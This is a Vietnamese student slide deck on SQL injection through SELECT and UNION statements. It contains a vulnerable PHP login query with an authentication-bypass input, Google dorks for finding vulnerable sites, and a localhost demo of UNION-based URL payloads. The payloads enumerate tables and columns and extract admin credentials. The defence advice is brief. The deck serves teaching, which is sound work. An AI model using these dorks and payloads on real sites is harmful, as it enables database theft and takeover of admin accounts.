Tấn công sql injection sử dụng câu lệnh select union

Preview:

DESCRIPTION

Tấn công sql injection sử dụng câu lệnh select union - Đề tài môn an toàn thông tin

Citation preview

Nguyễn Danh Thanh

TẤN CÔNG SQL INJECTION QUA

CÂU LỆNH SELECT, UNION

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Mục đích tấn công

• Đánh cắp dữ liệu từ web server• Thay đổi dữ liệu• Deface website• Backdoor

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Cơ chế tấn công

• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào<form action="" method="post">

Tài khoản: <input type="text" name=“user">Mật khẩu: <input type="password" name=“pass"><input type="submit“ value=“Đăng nhập”>

</form>

<?php$user=$_POST[‘user’];$pass=$_POST[‘pass’];$sql=“SELECT * FROM tbl_user WHERE

user=‘$user’ && pass=‘$pass’”;$query=mysql_query($sql);

$sql=“SELECT * FROM tbl_user WHERE user=‘0’ or ‘1’=‘1’--’ && pass=‘123456’”;

• Thông báo lỗi của hệ quản trị CSDL– Mysql_fetch_array();– Database query failed…– You have an error in your SQL systax…

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Phương thức tấn công

• Các dork ( Từ khóa tìm site bị lỗi)– index.php?id=– news.php id=– article.php?id=– games.php?id=– opinions.php?id=– pages.php?id=– prod_detail.php?id=– view.php?id=………….

• Các bước tấn công sử dụng lệnh union select

– Kiểm tra lỗi sql injection.– Tìm số cột mà câu truy vấn tạo ra.– Tìm cột chứa thông tin có thể khai thác được.– Xem phiên bản của CSDL và ngôn ngữ lập trình.– Xác định tên bảng chứa thông tin người quản trị.– Xác định tài khoản/mật khẩu của quản trị.– Truy cập vào phần giành cho quản trị viên.

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Cách phòng chống

• Phòng chống từ mức xây dựng mã nguồn ứng dụng– Whilelist– Backlist

• Bảo vệ từ mức nền tảng của hệ thống

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Demo

• Công cụ hỗ trợ– Add-on hackBar.– Web Admin Finder V2.0.– Google.

Mục tiêu tấn công

Tìm số cột mà câu truy vấn SQL tạo ra

http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -

Xác định vị trí xảy ra lỗihttp://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Xác định phiên bản ngôn ngữ lập trình

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--

Xác định tên các bảng trong CSDL

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--

Xác đinh các cột trong bảng tbl_user

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--

Xác định thông tin username, password của Admin

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))), 7,8,9,10,11,12,13,14,15 from tbl_user--

Password: thietkewebx.net

Tìm đường dẫn trang quản trị

Localhost/maytinh/admin